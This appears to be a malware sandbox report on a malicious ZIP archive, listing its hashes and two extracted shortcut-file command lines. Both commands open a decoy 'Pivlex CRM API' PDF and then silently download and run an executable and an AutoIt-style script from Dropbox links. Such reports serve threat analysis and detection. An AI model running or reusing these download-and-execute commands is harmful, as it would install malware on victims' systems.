Malicious
Malicious

dd543142955d6c68e6af2acaa0f92b51

ZIP Archive
MD5: dd543142955d6c68e6af2acaa0f92b51
Size: 2.23 KB
application/zip
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
dd543142955d6c68e6af2acaa0f92b51
Sha1
300f6d824ac368cbd0db059ea048820989dc9715
Sha256
0f9e9e3f242dce4f85b98819a8b9db4d28634e5147a832e3f4c24218eb1c8489
Sha384
f2ba04c8385decd73cceca0f8941c5b4af039df4b85bc3fda3f6f0757424505604fad8cd45f5f2c9cd9561958179d4b8
Sha512
3058c989c7eae476cada8cf3e60b4815840a39dd45475cee6280623dfaff85e859c722592aa88ea9a851ee3d241fb745128d451eb08656d831274d848e49df91
SSDeep
48:9N7vq8gkkUlBii59TDPgb1POwu/UPVlhziVJR+5aFP7Tr05alXxFt:LbNgkXBB/POLUZrAab3
TLSH
98410B8043A18992E18F8E79F518D8D9E32CAF113D5EF57A3C1664C1A4C2CFB650156F
Artefacts
Name
Value
LNK: Command Execution

conhost.exe --headless -- cmd.exe /c curl.exe -L -o "%USERPROFILE%\Documents\Pivlex_CRM_API_Credentials.pdf" https://www.dropbox.com/scl/fi/cl83jfjisid1h43leegjn/Pivlex_CRM_API_Credentials.pdf?rlkey=6rxeqs4qly14koof9ol8la22e^&dl=1 & start "" "%USERPROFILE%\Documents\Pivlex_CRM_API_Credentials.pdf" & curl.exe -L -o "C:\Users\Public\a.exe" https://www.dropbox.com/scl/fi/ea0yxd3f803ou59wpiob2/a_1783322240_1198.exe?rlkey=5b126k99nwayfr83v0djdcwk2^&dl=1 & curl.exe -L -o "C:\Users\Public\P.a3x" https://www.dropbox.com/scl/fi/4owe7mxfkk42dmwh7nmwm/P_1783322240_1198.a3x?rlkey=vymehzqbc26nk577cr1cqxgkk^&dl=1 & cd /d "C:\Users\Public" & a.exe P.a3x

LNK: Command Execution

conhost.exe --headless -- cmd.exe /c curl.exe -L -o "%USERPROFILE%\Documents\Pivlex_CRM_API_Documentation.pdf" https://www.dropbox.com/scl/fi/eu8d6l0a3mdi0jhhwfjb8/Pivlex_CRM_API_Documentation.pdf?rlkey=aitw0bel7dmsxnuevqsm3zndo^&dl=1 & start "" "%USERPROFILE%\Documents\Pivlex_CRM_API_Documentation.pdf" & curl.exe -L -o "C:\Users\Public\a.exe" https://www.dropbox.com/scl/fi/ea0yxd3f803ou59wpiob2/a_1783322240_1198.exe?rlkey=5b126k99nwayfr83v0djdcwk2^&dl=1 & curl.exe -L -o "C:\Users\Public\P.a3x" https://www.dropbox.com/scl/fi/4owe7mxfkk42dmwh7nmwm/P_1783322240_1198.a3x?rlkey=vymehzqbc26nk577cr1cqxgkk^&dl=1 & cd /d "C:\Users\Public" & a.exe P.a3x

dd543142955d6c68e6af2acaa0f92b51 (2.23 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙